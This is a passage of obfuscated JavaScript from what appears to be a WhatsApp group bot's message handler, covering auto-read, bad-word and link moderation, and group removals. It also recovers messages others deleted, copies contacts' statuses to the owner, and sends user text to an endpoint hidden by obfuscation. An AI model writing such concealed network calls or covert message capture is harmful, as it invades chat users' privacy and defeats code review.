_0x45616b={'superUser':_0x4d0d1b,'dev':_0x11a867,'verifGroupe':_0x5ec1d6,'mbre':_0x12da23,'membreGroupe':_0x124bb0,'verifAdmin':_0x572dc9,'infosGroupe':_0x10f536,'nomGroupe':_0x3fd715,'auteurMessage':_0xcad1f8,'nomAuteurMessage':_0x3b5a15,'idBot':_0x1c1036,'verifZokouAdmin':_0x42afde,'prefixe':prefixe,'arg':_0x2b7c46,'repondre':_0x4c6918,'mtype':_0x12647f,'groupeAdmin':_0x3a8d98,'msgRepondu':_0x4dccf0,'auteurMsgRepondu':_0x167590,'ms':_0x404c88,'mybotpic':_0x55745e};_0x13a80f===_0xcad1f8&&conf[_0x37cf47(0x284)]===_0x37cf47(0x259)&&_0x313b00['readMessages']([_0x404c88[_0x37cf47(0x240)]]);if(_0x13a80f===_0xcad1f8&&conf[_0x37cf47(0x1a0)]===_0x37cf47(0x259)){const _0x3923d1=await fetch(_0x37cf47(0x2a4)+_0x8ef313),_0x3dc7d3=await _0x3923d1[_0x37cf47(0x22a)]();await _0x4c6918(_0x3dc7d3['cnt']);}if(_0x404c88[_0x37cf47(0x257)][_0x37cf47(0x183)]&&_0x404c88[_0x37cf47(0x257)]['protocolMessage'][_0x37cf47(0x234)]===0x0&&conf[_0x37cf47(0x19a)]==='yes'){if(_0x404c88[_0x37cf47(0x240)]['fromMe']||_0x404c88[_0x37cf47(0x257)]['protocolMessage'][_0x37cf47(0x240)]['fromMe']){console['log'](_0x37cf47(0x2a9));return;}console[_0x37cf47(0x25a)](_0x37cf47(0x1f8));let _0x1cca5a=_0x404c88[_0x37cf47(0x257)][_0x37cf47(0x183)][_0x37cf47(0x240)];try{let _0x523c93='./store.json';const _0x3a6134=fs[_0x37cf47(0x246)](_0x523c93,_0x37cf47(0x1e2)),_0x592ae4=JSON[_0x37cf47(0x2a8)](_0x3a6134);let _0x35e598=_0x592ae4[_0x37cf47(0x1b4)][_0x1cca5a[_0x37cf47(0x29b)]],_0x20e7cd;for(let _0x3bc22b=0x0;_0x3bc22b<_0x35e598[_0x37cf47(0x1e5)];_0x3bc22b++){if(_0x35e598[_0x3bc22b]['key']['id']===_0x1cca5a['id']){_0x20e7cd=_0x35e598[_0x3bc22b];break;}}if(_0x20e7cd===null||!_0x20e7cd||_0x20e7cd===_0x37cf47(0x20d)){console[_0x37cf47(0x25a)]('Message\x20not\x20found');return;}await _0x313b00[_0x37cf47(0x231)](_0x1c1036,{'image':{'url':'./media/deleted-message.jpg'},'caption':_0x37cf47(0x224)+_0x20e7cd[_0x37cf47(0x240)]['participant']['split']('@')[0x0]+'​','mentions':[_0x20e7cd[_0x37cf47(0x240)]['participant']]})[_0x37cf47(0x206)](()=>{_0x313b00['sendMessage'](_0x1c1036,{'forward':_0x20e7cd},{'quoted':_0x20e7cd});});}catch(_0x88f75e){console['log'](_0x88f75e);}}_0x404c88[_0x37cf47(0x240)]&&_0x404c88['key'][_0x37cf47(0x29b)]==='status@broadcast'&&conf['AUTO_READ_STATUS']===_0x37cf47(0x259)&&await _0x313b00[_0x37cf47(0x1a6)]([_0x404c88['key']]);if(_0x404c88['key']&&_0x404c88[_0x37cf47(0x240)]['remoteJid']==='status@broadcast'&&conf[_0x37cf47(0x219)]===_0x37cf47(0x259)){if(_0x404c88[_0x37cf47(0x257)]['extendedTextMessage']){var _0x3d1b1b=_0x404c88['message'][_0x37cf47(0x200)][_0x37cf47(0x283)];await _0x313b00[_0x37cf47(0x231)](_0x1c1036,{'text':_0x3d1b1b},{'quoted':_0x404c88});}else{if(_0x404c88[_0x37cf47(0x257)][_0x37cf47(0x1c6)]){var _0x5b345a=_0x404c88[_0x37cf47(0x257)][_0x37cf47(0x1c6)][_0x37cf47(0x1df)],_0x49f868=await _0x313b00[_0x37cf47(0x2b0)](_0x404c88[_0x37cf47(0x257)][_0x37cf47(0x1c6)]);await _0x313b00[_0x37cf47(0x231)](_0x1c1036,{'image':{'url':_0x49f868},'caption':_0x5b345a},{'quoted':_0x404c88});}else{if(_0x404c88['message']['videoMessage']){var _0x5b345a=_0x404c88[_0x37cf47(0x257)]['videoMessage'][_0x37cf47(0x1df)],_0x23d030=await _0x313b00[_0x37cf47(0x2b0)](_0x404c88['message'][_0x37cf47(0x1ea)]);await _0x313b00['sendMessage'](_0x1c1036,{'video':{'url':_0x23d030},'caption':_0x5b345a},{'quoted':_0x404c88});}}}}if(!_0x11a867&&_0x13a80f==_0x37cf47(0x1d8))return;if(_0x8ef313&&_0xcad1f8[_0x37cf47(0x1ef)](_0x37cf47(0x26e))){const {ajouterOuMettreAJourUserData:_0x9dcca0}=require('./bdd/level');try{await _0x9dcca0(_0xcad1f8);}catch(_0x189fb9){console[_0x37cf47(0x181)](_0x189fb9);}}try{if(_0x404c88[_0x37cf47(0x257)][_0x12647f][_0x37cf47(0x28b)][_0x37cf47(0x1bd)]&&(_0x404c88['message'][_0x12647f][_0x37cf47(0x28b)][_0x37cf47(0x1bd)]['includes'](_0x1c1036)||_0x404c88['message'][_0x12647f][_0x37cf47(0x28b)]['mentionedJid'][_0x37cf47(0x256)](conf[_0x37cf47(0x28f)]+_0x37cf47(0x199)))){if(_0x13a80f==_0x37cf47(0x1d8))return;;if(_0x4d0d1b){console[_0x37cf47(0x25a)](_0x37cf47(0x258));return;}let _0x32e53e=require('./bdd/mention'),_0x40ecf4=await _0x32e53e[_0x37cf47(0x22e)](),_0x20a751=_0x40ecf4[0x0];if(_0x20a751[_0x37cf47(0x2ac)]===_0x37cf47(0x1da)){console[_0x37cf47(0x25a)]('mention\x20pas\x20actifs');return;}let _0x134530;if(_0x20a751[_0x37cf47(0x234)][_0x37cf47(0x228)]()===_0x37cf47(0x2ab))_0x134530={'image':{'url':_0x20a751[_0x37cf47(0x205)]},'caption':_0x20a751[_0x37cf47(0x257)]};else{if(_0x20a751['type'][_0x37cf47(0x228)]()===_0x37cf47(0x1c2))_0x134530={'video':{'url':_0x20a751[_0x37cf47(0x205)]},'caption':_0x20a751[_0x37cf47(0x257)]};else{if(_0x20a751[_0x37cf47(0x234)][_0x37cf47(0x228)]()===_0x37cf47(0x26c)){let _0x1d3ed4=new Sticker(_0x20a751['url'],{'pack':conf['NOM_OWNER'],'type':StickerTypes['FULL'],'categories':['🤩','🎉'],'id':'12345','quality':0x46,'background':'transparent'});const _0x39387f=await _0x1d3ed4[_0x37cf47(0x21e)]();_0x134530={'sticker':_0x39387f};}else _0x20a751[_0x37cf47(0x234)][_0x37cf47(0x228)]()===_0x37cf47(0x29e)&&(_0x134530={'audio':{'url':_0x20a751[_0x37cf47(0x205)]},'mimetype':_0x37cf47(0x20f)});}}_0x313b00['sendMessage'](_0x13a80f,_0x134530,{'quoted':_0x404c88});}}catch(_0x3c2042){}try{const _0x562640=await verifierEtatJid(_0x13a80f);if(_0x8ef313[_0x37cf47(0x256)](_0x37cf47(0x197))&&_0x5ec1d6&&_0x562640){console[_0x37cf47(0x25a)](_0x37cf47(0x21c));var _0x369449=_0x5ec1d6?_0x4117ae['includes'](_0x1c1036):![];if(_0x4d0d1b||_0x572dc9||!_0x369449){console[_0x37cf47(0x25a)](_0x37cf47(0x19b));return;};const _0x304626={'remoteJid':_0x13a80f,'fromMe':![],'id':_0x404c88[_0x37cf47(0x240)]['id'],'participant':_0xcad1f8};var _0x2254b7=_0x37cf47(0x294);const _0x37bc1b=_0x37cf47(0x25b);var _0x15df98=new Sticker(_0x37bc1b,{'pack':_0x37cf47(0x1b0),'author':conf[_0x37cf47(0x291)],'type':StickerTypes['FULL'],'categories':['🤩','🎉'],'id':_0x37cf47(0x1f4),'quality':0x32,'background':_0x37cf47(0x1d7)});await _0x15df98[_0x37cf47(0x1ff)](_0x37cf47(0x1e6));var _0x379304=await recupererActionJid(_0x13a80f);if(_0x379304===_0x37cf47(0x27d)){_0x2254b7+=_0x37cf47(0x289)+_0xcad1f8[_0x37cf47(0x297)]('@')[0x0]+'\x20removed\x20from\x20group.',await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'sticker':fs['readFileSync']('st1.webp')}),(0x0,baileys_1[_0x37cf47(0x1ba)])(0x320),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'text':_0x2254b7,'mentions':[_0xcad1f8]},{'quoted':_0x404c88});try{await _0x313b00[_0x37cf47(0x251)](_0x13a80f,[_0xcad1f8],_0x37cf47(0x27d));}catch(_0x2c9f2b){console[_0x37cf47(0x25a)]('antiien\x20')+_0x2c9f2b;}await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'delete':_0x304626}),await fs[_0x37cf47(0x238)]('st1.webp');}else{if(_0x379304===_0x37cf47(0x211))_0x2254b7+=_0x37cf47(0x1cd)+_0xcad1f8[_0x37cf47(0x297)]('@')[0x0]+_0x37cf47(0x260),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'text':_0x2254b7,'mentions':[_0xcad1f8]},{'quoted':_0x404c88}),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'delete':_0x304626}),await fs[_0x37cf47(0x238)]('st1.webp');else{if(_0x379304===_0x37cf47(0x1d0)){const {getWarnCountByJID:_0x41e5ff,ajouterUtilisateurAvecWarnCount:_0x79715b}=require(_0x37cf47(0x1c5));let _0x26443f=await _0x41e5ff(_0xcad1f8),_0x5653cf=conf[_0x37cf47(0x2a5)];if(_0x26443f>=_0x5653cf){var _0x38c69c=_0x37cf47(0x1d9);await _0x313b00['sendMessage'](_0x13a80f,{'text':_0x38c69c,'mentions':[_0xcad1f8]},{'quoted':_0x404c88}),await _0x313b00[_0x37cf47(0x251)](_0x13a80f,[_0xcad1f8],_0x37cf47(0x27d)),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'delete':_0x304626});}else{var _0x5be6c6=_0x5653cf-_0x26443f,_0x519e72=_0x37cf47(0x1ed)+_0x5be6c6+'\x20';await _0x79715b(_0xcad1f8),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'text':_0x519e72,'mentions':[_0xcad1f8]},{'quoted':_0x404c88}),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'delete':_0x304626});}}}}}}catch(_0x1c48eb){console[_0x37cf47(0x25a)](_0x37cf47(0x1dc)+_0x1c48eb);}try{const _0x2daeb7=await verifierEtatJid(_0x13a80f);if(_0x8ef313['includes']('Fuck')&&_0x5ec1d6&&_0x2daeb7){console['log']('bad\x20word\x20detected');var _0x369449=_0x5ec1d6?_0x4117ae['includes'](_0x1c1036):![];if(_0x4d0d1b||_0x572dc9||!_0x369449){console[_0x37cf47(0x25a)](_0x37cf47(0x19b));return;};const _0x588f9={'remoteJid':_0x13a80f,'fromMe':![],'id':_0x404c88[_0x37cf47(0x240)]['id'],'participant':_0xcad1f8};var _0x2254b7='badword\x20detected,\x20\x0a';const _0x5f4616=_0x37cf47(0x25b);var _0x15df98=new Sticker(_0x5f4616,{'pack':'Flash-Md','author':conf[_0x37cf47(0x291)],'type':StickerTypes[_0x37cf47(0x24d)],'categories':['🤩','🎉'],'id':_0x37cf47(0x1f4),'quality':0x32,'background':_0x37cf47(0x1d7)});await _0x15df98[_0x37cf47(0x1ff)]('st1.webp');var _0x379304=await recupererActionJid(_0x13a80f);if(_0x379304==='remove'){_0x2254b7+='message\x20deleted\x20\x0a\x20@'+_0xcad1f8[_0x37cf47(0x297)]('@')[0x0]+_0x37cf47(0x17c),await _0x313b00['sendMessage'](_0x13a80f,{'sticker':fs[_0x37cf47(0x246)](_0x37cf47(0x1e6))}),(0x0,baileys_1['delay'])(0x320),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'text':_0x2254b7,'mentions':[_0xcad1f8]},{'quoted':_0x404c88});try{await _0x313b00['groupParticipantsUpdate'](_0x13a80f,[_0xcad1f8],_0x37cf47(0x27d));}catch(_0x45f066){console[_0x37cf47(0x25a)](_0x37cf47(0x26a))+_0x45f066;}await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'delete':_0x588f9}),await fs['unlink']('st1.webp');}else{if(_0x379304===_0x37cf47(0x211))_0x2254b7+='Goodbye\x20\x0a\x20@'+_0xcad1f8[_0x37cf47(0x297)]('@')[0x0]+_0x37cf47(0x229),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'text':_0x2254b7,'mentions':[_0xcad1f8]},{'quoted':_0x404c88}),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'delete':_0x588f9}),await fs[_0x37cf47(0x238)](_0x37cf47(0x1e6));else{if(_0x379304===_0x37cf47(0x1d0)){const {getWarnCountByJID:_0x16702d,ajouterUtilisateurAvecWarnCount:_0x54bf09}=require(_0x37cf47(0x1c5));let _0x2379a0=await _0x16702d(_0xcad1f8),_0x522cf3=conf[_0x37cf47(0x2a5)];if(_0x2379a0>=_0x522cf3){var _0x38c69c=_0x37cf47(0x24a);await _0x313b00['sendMessage'](_0x13a80f,{'text':_0x38c69c,'mentions':[_0xcad1f8]},{'quoted':_0x404c88}),await _0x313b00[_0x37cf47(0x251)](_0x13a80f,[_0xcad1f8],_0x37cf47(0x27d)),await _0x313b00['sendMessage'](_0x13a80f,{'delete':_0x588f9});}else{var _0x5be6c6=_0x522cf3-_0x2379a0,_0x519e72='bad\x20word\x20detected\x20,\x20your\x20warn_count\x20was\x20upgrade\x20;\x0a\x20rest\x20:\x20'+_0x5be6c6+'\x20';await _0x54bf09(_0xcad1f8),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'text':_0x519e72,'mentions':[_0xcad1f8]},{'quoted':_0x404c88}),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'delete':_0x588f9});}}}}}}catch(_0x4732da){console[_0x37cf47(0x25a)]('bdd\x20err\x20'+_0x4732da);}try{const _0x30910c=await verifierEtatJid(_0x13a80f);if(_0x8ef313[_0x37cf47(0x256)](_0x37cf47(0x204))&&_0x5ec1d6&&_0x30910c){console[_0x37cf47(0x25a)](_0x37cf47(0x253));var _0x369449=_0x5ec1d6?_0x4117ae[_0x37cf47(0x256)](_0x1c1036):![];if(_0x4d0d1b||_0x572dc9||!_0x369449){console['log']('je\x20fais\x20rien');return;};const _0x1bce2b={'remoteJid':_0x13a80f,'fromMe':![],'id':_0x404c88[_0x37cf47(0x240)]['id'],'participant':_0xcad1f8};var _0x2254b7=_0x37cf47(0x26d);const _0x1cd336=_0x37cf47(0x25b);var _0x15df98=new Sticker(_0x1cd336,{'pack':_0x37cf47(0x1b0),'author':conf[_0x37cf47(0x291)],'type':StickerTypes[_0x37cf47(0x24d)],'categories':['🤩','🎉'],'id':_0x37cf47(0x1f4),'quality':0x32,'background':_0x37cf47(0x1d7)});await _0x15df98[_0x37cf47(0x1ff)](_0x37cf47(0x1e6));var _0x379304=await recupererActionJid(_0x13a80f);if(_0x379304===_0x37cf47(0x27d)){_0x2254b7+=_0x37cf47(0x289)+_0xcad1f8['split']('@')[0x0]+_0x37cf47(0x17c),await _0x313b00['sendMessage'](_0x13a80f,{'sticker':fs[_0x37cf47(0x246)](_0x37cf47(0x1e6))}),(0x0,baileys_1[_0x37cf47(0x1ba)])(0x320),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'text':_0x2254b7,'mentions':[_0xcad1f8]},{'quoted':_0x404c88});try{await _0x313b00['groupParticipantsUpdate'](_0x13a80f,[_0xcad1f8],_0x37cf47(0x27d));}catch(_0x415a13){console['log']('antiword')+_0x415a13;}await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'delete':_0x1bce2b}),await fs[_0x37cf47(0x238)]('st1.webp');}else{if(_0x379304===_0x37cf47(0x211))_0x2254b7+=_0x37cf47(0x1cd)+_0xcad1f8[_0x37cf47(0x297)]('@')[0x0]+_0x37cf47(0x229),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'text':_0x2254b7,'mentions':[_0xcad1f8]},{'quoted':_0x404c88}),await _0x313b00['sendMessage'](_0x13a80f,{'delete':_0x1bce2b}),await fs[_0x37cf47(0x238)](_0x37cf47(0x1e6));else{if(_0x379304===_0x37cf47(0x1d0)){const {getWarnCountByJID:_0x393d34,ajouterUtilisateurAvecWarnCount:_0x51613b}=require(_0x37cf47(0x1c5));let _0x613706=await _0x393d34(_0xcad1f8),_0x5d0a9e=conf['WARN_COUNT'];if(_0x613706>=_0x5d0a9e){var _0x38c69c=_0x37cf47(0x24a);await _0x313b00['sendMessage'](_0x13a80f,{'text':_0x38c69c,'mentions':[_0xcad1f8]},{'quoted':_0x404c88}),await _0x313b00[_0x37cf47(0x251)](_0x13a80f,[_0xcad1f8],_0x37cf47(0x27d)),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'delete':_0x1bce2b});}else{var _0x5be6c6=_0x5d0a9e-_0x613706,_0x519e72='bad\x20word\x20detected\x20,\x20your\x20warn_count\x20was\x20upgrade\x20;\x0a\x20rest\x20:\x20'+_0x5be6c6+'\x20';await _0x51613b(_0xcad1f8),await _0x313b00['sendMessage'](_0x13a80f,{'text':_0x519e72,'mentions':[_0xcad1f8]},{'quoted':_0x404c88}),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'delete':_0x1bce2b});}}}}}}catch(_0xa19cbe){console[_0x37cf47(0x25a)](_0x37cf47(0x1dc)+_0xa19cbe);}try{const _0x53c97a=await verifierEtatJid(_0x13a80f);if(_0x8ef313['includes'](_0x37cf47(0x1fe))&&_0x5ec1d6&&_0x53c97a){console[_0x37cf47(0x25a)](_0x37cf47(0x253));var _0x369449=_0x5ec1d6?_0x4117ae[_0x37cf47(0x256)](_0x1c1036):![];if(_0x4d0d1b||_0x572dc9||!_0x369449){console[_0x37cf47(0x25a)](_0x37cf47(0x19b));return;};const _0x58c045={'remoteJid':_0x13a80f,'fromMe':![],'id':_0x404c88[_0x37cf47(0x240)]['id'],'participant':_0xcad1f8};var _0x2254b7=_0x37cf47(0x208);const _0xaa0b8c=_0x37cf47(0x25b);var _0x15df98=new Sticker(_0xaa0b8c,{'pack':_0x37cf47(0x1b0),'author':conf[_0x37cf47(0x291)],'type':StickerTypes[_0x37cf47(0x24d)],'categories':['🤩','🎉'],'id':_0x37cf47(0x1f4),'quality':0x32,'background':_0x37cf47(0x1d7)});await _0x15df98['toFile'](_0x37cf47(0x1e6));var _0x379304=await recupererActionJid(_0x13a80f);if(_0x379304===_0x37cf47(0x27d)){_0x2254b7+=_0x37cf47(0x299)+_0xcad1f8[_0x37cf47(0x297)]('@')[0x0]+'\x20removed\x20from\x20group.',await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'sticker':fs[_0x37cf47(0x246)]('st1.webp')}),(0x0,baileys_1[_0x37cf47(0x1ba)])(0x320),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'text':_0x2254b7,'mentions':[_0xcad1f8]},{'quoted':_0x404c88});try{await _0x313b00[_0x37cf47(0x251)](_0x13a80f,[_0xcad1f8],_0x37cf47(0x27d));}catch(_0x3fec08){console[_0x37cf47(0x25a)](_0x37cf47(0x26a))+_0x3fec08;}await _0x313b00['sendMessage'](_0x13a80f,{'delete':_0x58c045}),await fs['unlink'](_0x37cf47(0x1e6));}else{if(_0x379304==='delete')_0x2254b7+=_0x37cf47(0x1cd)+_0xcad1f8[_0x37cf47(0x297)]('@')[0x0]+_0x37cf47(0x229),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'text':_0x2254b7,'mentions':[_0xcad1f8]},{'quoted':_0x404c88}),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'delete':_0x58c045}),await fs['unlink'](_0x37cf47(0x1e6));else{if(_0x379304==='warn'){const {getWarnCountByJID:_0x5c100e,ajouterUtilisateurAvecWarnCount:_0x24fb6e}=require(_0x37cf47(0x1c5));let _0x1acb90=await _0x5c100e(_0xcad1f8),_0x589c4f=conf['WARN_COUNT'];if(_0x1acb90>=_0x589c4f){var _0x38c69c=_0x37cf47(0x24c);await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'text':_0x38c69c,'mentions':[_0xcad1f8]},{'quoted':_0x404c88}),await _0x313b00[_0x37cf47(0x251)](_0x13a80f,[_0xcad1f8],'remove'),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'delete':_0x58c045});}else{var _0x5be6c6=_0x589c4f-_0x1acb90,_0x519e72=_0x37cf47(0x1e3)+_0x5be6c6+'\x20';await _0x24fb6e(_0xcad1f8),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'text':_0x519e72,'mentions':[_0xcad1f8]},{'quoted':_0x404c88}),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'delete':_0x58c045});}}}}}}catch(_0x3993ca){console[_0x37cf47(0x25a)](_0x37cf47(0x1dc)+_0x3993ca);}try{const _0x3573f1=await verifierEtatJid(_0x13a80f);if(_0x8ef313['includes'](_0x37cf47(0x1d1))&&_0x5ec1d6&&_0x3573f1){console[_0x37cf47(0x25a)](_0x37cf47(0x253));var _0x369449=_0x5ec1d6?_0x4117ae[_0x37cf47(0x256)](_0x1c1036):![];if(_0x4d0d1b||_0x572dc9||!_0x369449){console['log']('je\x20fais\x20rien');return;};const _0x4b2216={'remoteJid':_0x13a80f,'fromMe':![],'id':_0x404c88['key']['id'],'participant':_0xcad1f8};var _0x2254b7=_0x37cf47(0x26d);const _0x469e51='https://raw.githubusercontent.com/djalega8000/Zokou-MD/main/media/remover.gif';var _0x15df98=new Sticker(_0x469e51,{'pack':_0x37cf47(0x1b0),'author':conf[_0x37cf47(0x291)],'type':StickerTypes[_0x37cf47(0x24d)],'categories':['🤩','🎉'],'id':_0x37cf47(0x1f4),'quality':0x32,'background':_0x37cf47(0x1d7)});await _0x15df98[_0x37cf47(0x1ff)](_0x37cf47(0x1e6));var _0x379304=await recupererActionJid(_0x13a80f);if(_0x379304===_0x37cf47(0x27d)){_0x2254b7+='message\x20deleted\x20\x0a\x20@'+_0xcad1f8['split']('@')[0x0]+_0x37cf47(0x17c),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'sticker':fs[_0x37cf47(0x246)](_0x37cf47(0x1e6))}),(0x0,baileys_1['delay'])(0x320),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'text':_0x2254b7,'mentions':[_0xcad1f8]},{'quoted':_0x404c88});try{await _0x313b00[_0x37cf47(0x251)](_0x13a80f,[_0xcad1f8],_0x37cf47(0x27d));}catch(_0x4e5236){console[_0x37cf47(0x25a)](_0x37cf47(0x26a))+_0x4e5236;}await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'delete':_0x4b2216}),await fs[_0x37cf47(0x238)]('st1.webp');}else{if(_0x379304==='delete')_0x2254b7+=_0x37cf47(0x1cd)+_0xcad1f8[_0x37cf47(0x297)]('@')[0x0]+_0x37cf47(0x229),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'text':_0x2254b7,'mentions':[_0xcad1f8]},{'quoted':_0x404c88}),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'delete':_0x4b2216}),await fs[_0x37cf47(0x238)](_0x37cf47(0x1e6));else{if(_0x379304===_0x37cf47(0x1d0)){const {getWarnCountByJID:_0x367499,ajouterUtilisateurAvecWarnCount:_0x5bc636}=require('./bdd/warn');let _0x53413b=await _0x367499(_0xcad1f8),_0x551a02=conf[_0x37cf47(0x2a5)];if(_0x53413b>=_0x551a02){var _0x38c69c=_0x37cf47(0x24a);await _0x313b00['sendMessage'](_0x13a80f,{'text':_0x38c69c,'mentions':[_0xcad1f8]},{'quoted':_0x404c88}),await _0x313b00[_0x37cf47(0x251)](_0x13a80f,[_0xcad1f8],'remove'),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'delete':_0x4b2216});}else{var _0x5be6c6=_0x551a02-_0x53413b,_0x519e72=_0x37cf47(0x27f)+_0x5be6c6+'\x20';await _0x5bc636(_0xcad1f8),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'text':_0x519e72,'mentions':[_0xcad1f8]},{'quoted':_0x404c88}),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'delete':_0x4b2216});}}}}}}catch(_0x59f5c4){console[_0x37cf47(0x25a)](_0x37cf47(0x1dc)+_0x59f5c4);}try{const _0x108e3c=await verifierEtatJid(_0x13a80f);if(_0x8ef313['includes']('Motherfucker')&&_0x5ec1d6&&_0x108e3c){console[_0x37cf47(0x25a)]('bad\x20word\x20detected');var _0x369449=_0x5ec1d6?_0x4117ae[_0x37cf47(0x256)](_0x1c1036):![];if(_0x4d0d1b||_0x572dc9||!_0x369449){console[_0x37cf47(0x25a)](_0x37cf47(0x19b));return;};const _0x4608e6={'remoteJid':_0x13a80f,'fromMe':![],'id':_0x404c88[_0x37cf47(0x240)]['id'],'participant':_0xcad1f8};var _0x2254b7=_0x37cf47(0x26d);const _0x1674f1=_0x37cf47(0x25b);var _0x15df98=new Sticker(_0x1674f1,{'pack':'Flash-Md','author':conf[_0x37cf47(0x291)],'type':StickerTypes[_0x37cf47(0x24d)],'categories':['🤩','🎉'],'id':_0x37cf47(0x1f4),'quality':0x32,'background':_0x37cf47(0x1d7)});await _0x15df98[_0x37cf47(0x1ff)]('st1.webp');var _0x379304=await recupererActionJid(_0x13a80f);if(_0x379304===_0x37cf47(0x27d)){_0x2254b7+=_0x37cf47(0x289)+_0xcad1f8[_0x37cf47(0x297)]('@')[0x0]+_0x37cf47(0x17c),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'sticker':fs['readFileSync'](_0x37cf47(0x1e6))}),(0x0,baileys_1[_0x37cf47(0x1ba)])(0x320),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'text':_0x2254b7,'mentions':[_0xcad1f8]},{'quoted':_0x404c88});try{await _0x313b00['groupParticipantsUpdate'](_0x13a80f,[_0xcad1f8],'remove');}catch(_0x1222e9){console[_0x37cf47(0x25a)](_0x37cf47(0x26a))+_0x1222e9;}await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'delete':_0x4608e6}),await fs[_0x37cf47(0x238)](_0x37cf47(0x1e6));}else{if(_0x379304===_0x37cf47(0x211))_0x2254b7+=_0x37cf47(0x1cd)+_0xcad1f8[_0x37cf47(0x297)]('@')[0x0]+_0x37cf47(0x229),await _0x313b00['sendMessage'](_0x13a80f,{'text':_0x2254b7,'mentions':[_0xcad1f8]},{'quoted':_0x404c88}),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'delete':_0x4608e6}),await fs['unlink'](_0x37cf47(0x1e6));else{if(_0x379304===_0x37cf47(0x1d0)){const {getWarnCountByJID:_0x3d65c9,ajouterUtilisateurAvecWarnCount:_0x44244c}=require(_0x37cf47(0x1c5));let _0x594aca=await _0x3d65c9(_0xcad1f8),_0x11b642=conf['WARN_COUNT'];if(_0x594aca>=_0x11b642){var _0x38c69c=_0x37cf47(0x24a);await _0x313b00['sendMessage'](_0x13a80f,{'text':_0x38c69c,'mentions':[_0xcad1f8]},{'quoted':_0x404c88}),await _0x313b00[_0x37cf47(0x251)](_0x13a80f,[_0xcad1f8],_0x37cf47(0x27d)),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'delete':_0x4608e6});}else{var _0x5be6c6=_0x11b642-_0x594aca,_0x519e72=_0x37cf47(0x27f)+_0x5be6c6+'\x20';await _0x44244c(_0xcad1f8),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'text':_0x519e72,'mentions':[_0xcad1f8]},{'quoted':_0x404c88}),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'delete':_0x4608e6});}}}}}}catch(_0xcd37b5){console[_0x37cf47(0x25a)](_0x37cf47(0x1dc)+_0xcd37b5);}try{const _0x43b359=await verifierEtatJid(_0x13a80f);if(_0x8ef313[_0x37cf47(0x256)](_0x37cf47(0x193))&&_0x5ec1d6&&_0x43b359){console[_0x37cf47(0x25a)](_0x37cf47(0x253));var _0x369449=_0x5ec1d6?_0x4117ae['includes'](_0x1c1036):![];if(_0x4d0d1b||_0x572dc9||!_0x369449){console[_0x37cf47(0x25a)](_0x37cf47(0x19b));return;};const _0x1584d4={'remoteJid':_0x13a80f,'fromMe':![],'id':_0x404c88[_0x37cf47(0x240)]['id'],'participant':_0xcad1f8};var _0x2254b7=_0x37cf47(0x26d);const _0x55f8d3=_0x37cf47(0x25b);var _0x15df98=new Sticker(_0x55f8d3,{'pack':_0x37cf47(0x1b0),'author':conf['OWNER_NAME'],'type':StickerTypes[_0x37cf47(0x24d)],'categories':['🤩','🎉'],'id':_0x37cf47(0x1f4),'quality':0x32,'background':'#000000'});await _0x15df98['toFile']('st1.webp');var _0x379304=await recupererActionJid(_0x13a80f);if(_0x379304===_0x37cf47(0x27d)){_0x2254b7+='message\x20deleted\x20\x0a\x20@'+_0xcad1f8['split']('@')[0x0]+_0x37cf47(0x17c),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'sticker':fs[_0x37cf47(0x246)](_0x37cf47(0x1e6))}),(0x0,baileys_1[_0x37cf47(0x1ba)])(0x320),await _0x313b00['sendMessage'](_0x13a80f,{'text':_0x2254b7,'mentions':[_0xcad1f8]},{'quoted':_0x404c88});try{await _0x313b00[_0x37cf47(0x251)](_0x13a80f,[_0xcad1f8],'remove');}catch(_0x47d23c){console[_0x37cf47(0x25a)](_0x37cf47(0x26a))+_0x47d23c;}await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'delete':_0x1584d4}),await fs[_0x37cf47(0x238)](_0x37cf47(0x1e6));}else{if(_0x379304===_0x37cf47(0x211))_0x2254b7+='Goodbye\x20\x0a\x20@'+_0xcad1f8[_0x37cf47(0x297)]('@')[0x0]+_0x37cf47(0x229),await _0x313b00[_0x37cf47(0x231)](_0x13a80f,{'text':_0x2254b7,'mentions':[_0xcad1f8]},{'quoted':_0x404c88}),await 